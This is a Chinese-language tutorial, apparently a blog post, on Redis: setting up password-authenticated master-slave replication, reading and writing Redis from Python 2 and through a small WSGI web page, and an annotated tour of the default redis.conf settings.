1799:S 05 Jan 12:32:19.457 * MASTER <-> SLAVE sync: Finished with success

  1. 加密的主从同步
    (1)为redis-master平滑设置连接密码
[root@Redis01 ~]# redis-cli config get requirepass
1) "requirepass"
2) ""
[root@Redis01 ~]# redis-cli config set requirepass 'yunjisuan'
OK
[root@Redis01 ~]# redis-cli config get requirepass
(error) NOAUTH Authentication required.
[root@Redis01 ~]# redis-cli -a yunjisuan config get requirepass
Warning: Using a password with '-a' option on the command line interface may not be safe.
1) "requirepass"
2) "yunjisuan"
[root@Redis01 ~]# redis-cli -a yunjisuan config rewrite
Warning: Using a password with '-a' option on the command line interface may not be safe.
OK

#查看从库日志信息
[root@Redis02 ~]# cat /data/redis/redis.log
#主从同步需要进行端口验证请求
18418:S 11 Aug 15:08:40.440 * (Non critical) Master does not understand REPLCONF listening-port: -NOAUTH Authentication required.
18418:S 11 Aug 15:08:40.440 * (Non critical) Master does not
understand REPLCONF capa: -NOAUTH Authentication required.
#部分同步不能,没有主的缓存
18418:S 11 Aug 15:08:40.440 * Partial resynchronization not possible (no cached master)
#从主发来的意外回复:需要身份验证
18418:S 11 Aug 15:08:40.441 # Unexpected reply to PSYNC from master: -NOAUTH Authentication required.
#进行同步重试
18418:S 11 Aug 15:08:40.441 * Retrying with SYNC...
#主从复制终止:需要身份验证
18418:S 11 Aug 15:08:40.441 # MASTER aborted replication with an error: NOAUTH Authentication required.

(2)为从库提供主从同步密码验证

#从服务器需要设置主从同步的认证密码
[root@Redis02 ~]# redis-cli config get masterauth
1) "masterauth"
2) ""
[root@Redis02 ~]# redis-cli config set masterauth "yunjisuan"
OK
[root@Redis02 ~]# redis-cli config get masterauth
1) "masterauth"
2) "yunjisuan"
[root@Redis02 ~]# redis-cli config rewrite
OK
[root@Redis02 ~]# tail -1 /usr/local/redis/conf/redis.conf
masterauth "yunjisuan"

#查看从服务器日志
[root@Redis02 ~]# cat /data/redis/redis.log 
1230:S 06 Jan 01:03:07.940 * Connecting to MASTER 192.168.146.164:6379
1230:S 06 Jan 01:03:07.940 * MASTER <-> SLAVE sync started
1230:S 06 Jan 01:03:07.941 * Non blocking connect for SYNC fired the event.
1230:S 06 Jan 01:03:07.942 * Master replied to PING, replication can continue...
1230:S 06 Jan 01:03:07.945 * Partial resynchronization not possible (no cached master)
1230:S 06 Jan 01:03:07.950 * Full resync from master: 16322b247dfefbe147bdcef0e69505520db40848:1106
1230:S 06 Jan 01:03:08.333 * MASTER <-> SLAVE sync: receiving 3079 bytes from master
1230:S 06 Jan 01:03:08.334 * MASTER <-> SLAVE sync: Flushing old data
1230:S 06 Jan 01:03:08.334 * MASTER <-> SLAVE sync: Loading DB in memory
1230:S 06 Jan 01:03:08.335 * MASTER <-> SLAVE sync: Finished with success
1230:S 06 Jan 01:03:17.815 # CONFIG REWRITE executed with success.

使用Python操作Redis单例
  1. Python安装redis扩展
[root@redis-master ~]# yum -y install epel-release
[root@redis-master ~]# yum -y install python2-pip
[root@redis-master ~]# pip install --upgrade pip         
[root@redis-master ~]# pip install redis
  1. 利用python进行redis数据的读写
[root@localhost ~]# python
Python 2.7.5 (default, Apr 11 2018, 07:36:10) 
[GCC 4.8.5 20150623 (Red Hat 4.8.5-28)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import redis						#引用redis支持库
>>> r = redis.Redis(host='127.0.0.1',port=6379,password='yunjisuan',db=0)     			#建立redis数据库的连接对象(面向对象方式)  
>>> r.set('name','benet')					#操作对象调用set方法写入数据
True
>>> r.get('name')						 #操作对象调用get方式读取数据
'benet'
>>> r.dbsize()            				  #操作对象查看redis数据库的数据条数
1L	
>>> r.keys()              				  #查看所有的key
['name']
>>> exit()
[root@localhost ~]# redis-cli -a yunjisuan get name
Warning: Using a password with '-a' option on the command line interface may not be safe.
"benet"

  1. 通过Web界面连接Python程序展示redis

开发Python脚本

[root@localhost ~]# mkdir -p /server/scripts
[root@localhost ~]# vim python-redis.py
#/usr/bin/python

from wsgiref.simple_server import make_server
import redis

def get_redis():
    r = redis.Redis(host='192.168.146.164',port='6379',password='yunjisuan',db=0)
    r.set('name','yunyunyun')
    return r.get('name')
    
def hello_world_app(environ,start_response):
    status = '200 OK'   #HTTP Status
    headers = [('Content-type','text/plain')]   #HTTP Headers
    start_response(status,headers)
    
    # The returned object is going to be printed
    return get_redis()

httpd = make_server('',8000,hello_world_app)
print "Serving on port 8000..."

# Server until process is killed
httpd.serve_forever()

启动python脚本

 #注意关闭iptables
 [root@redis01 scripts]# python python-redis.py 
Serving on port 8000...     #监听8000端口

通过客户端浏览器连接Python程序
在这里插入图片描述

  1. 解读redis默认配置文件
#redis支持include功能
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '30,31p'
    30  # include /path/to/local.conf
    31  # include /path/to/other.conf
    
#redis是否后台运行
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '37p'
    37  daemonize no        
    
#pid号保存文件的位置
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '41p'
    41  pidfile /var/run/redis.pid
    
#redis默认监听端口
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '45p'
    45  port 6379
    
#调整tcp监听队列
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '54p'
    54  tcp-backlog 511
    
#调整redis的监听地址
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '63,64p'
    63  # bind 192.168.1.100 10.0.0.1
    64  # bind 127.0.0.1
    
#调整客户端超时时间
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '74p'
    74  timeout 0
    
#调整tcp的会话保持时间
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '90p'
    90  tcp-keepalive 0

#调整日志级别
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '98p'
    98  loglevel notice
    
#redis日志记录位置,默认是打印到屏幕上
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '103p'
   103  logfile ""

#是否启用syslog来接收日志(比如日志集中收集)
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '113p'
   113  # syslog-facility local0
   
#设置数据库的数量,如果缺省,默认为0(select0...select 15)
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '118p'
   118  databases 16
   
#redis快照设置
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '120,144p'
   120  ################################ SNAPSHOTTING  ################################
   121  #
   122  # Save the DB on disk:
   123  #
   124  #   save <seconds> <changes>
   125  #
   126  #   Will save the DB if both the given number of seconds and the given
   127  #   number of write operations against the DB occurred.
   128  #
   129  #   In the example below the behaviour will be to save:
   130  #   after 900 sec (15 min) if at least 1 key changed
   131  #   after 300 sec (5 min) if at least 10 keys changed
   132  #   after 60 sec if at least 10000 keys changed
   133  #
   134  #   Note: you can disable saving at all commenting all the "save" lines.
   135  #
   136  #   It is also possible to remove all the previously configured save
   137  #   points by adding a save directive with a single empty string argument
   138  #   like in the following example:
   139  #
   140  #   save ""     #如果不想保存在磁盘,就如此设置
   141  
   142  save 900 1      #900秒内至少1key数据变化,但会阻塞用户请求,高并发时不用
   143  save 300 10     #300秒内至少10key数据变化,但会阻塞用户请求,高并发时不用
   144  save 60 10000   #60秒内至少10000key数据变化,但会阻塞用户请求,高并发时不用

#如果bgsave出错是否停止写入
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '159p'
   159  stop-writes-on-bgsave-error yes
   
#redis将数据存储在磁盘的什么位置
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '177p'
   177  dbfilename dump.rdb
   
#指定redis配置文件当前工作的路径(指定dbfilename的当前路径位置)
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '187p'
   187  dir ./
   
#给redis设定密码
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '339p'
   339  requirepass yunjisuan

#修改redis操作命令的名称
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '355,357p'
   355  # rename-command CONFIG ""
   356  # rename-command set ""
   357  # rename=command get yunjisuan
   
#设定redis内存限制(但是内存用完后,redis就会开始删除key)
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '398p'
   398  # maxmemory <bytes>
   
#设定redis内存清理的算法
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '403,408p'
   403  # volatile-lru -> remove the key with an expire set using an LRU algorithm
   404  # allkeys-lru -> remove any key accordingly to the LRU algorithm
   405  # volatile-random -> remove a random key with an expire set
   406  # allkeys-random -> remove a random key, any key
   407  # volatile-ttl -> remove the key with the nearest expire time (minor TTL)
   408  # noeviction -> don't expire at all, just return an error on write operations
   
#设定redis内存限制及内存清理的算法示例
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '421p'
   421  # maxmemory-policy volatile-lru

#关于redis的流模式的存储说明
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '431,449p'
   431  ############################## APPEND ONLY MODE ###############################
   432  
   433  # By default Redis asynchronously dumps the dataset on disk. This mode is
   434  # good enough in many applications, but an issue with the Redis process or
   435  # a power outage may result into a few minutes of writes lost (depending on
   436  # the configured save points).
   437  #
   438  # The Append Only File is an alternative persistence mode that provides
   439  # much better durability. For instance using the default data fsync policy
   440  # (see later in the config file) Redis can lose just one second of writes in a
   441  # dramatic event like a server power outage, or a single write if something
   442  # wrong with the Redis process itself happens, but the operating system is
   443  # still running correctly.
   444  #
   445  # AOF and RDB persistence can be enabled at the same time without problems.
   446  # If the AOF is enabled on startup Redis will load the AOF, that is the file
   447  # with the better durability guarantees.
   448  #
   449  # Please check http://redis.io/topics/persistence for more information.

#是否启用AOF存储模式
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '451p'
   451  appendonly no
   
#设定AOF文件的存储位置
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '455p'
   455  appendfilename "appendonly.aof"     #并不用于主从同步,只是redis在启动时,读取此文件用于恢复数据

#设定AOF同步存储的时间周期
[root@redis01 scripts]# cat -n /usr/local/redis/conf/redis.conf | sed -n '481p'
   481  appendfsync everysec    #每秒或不用
   
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值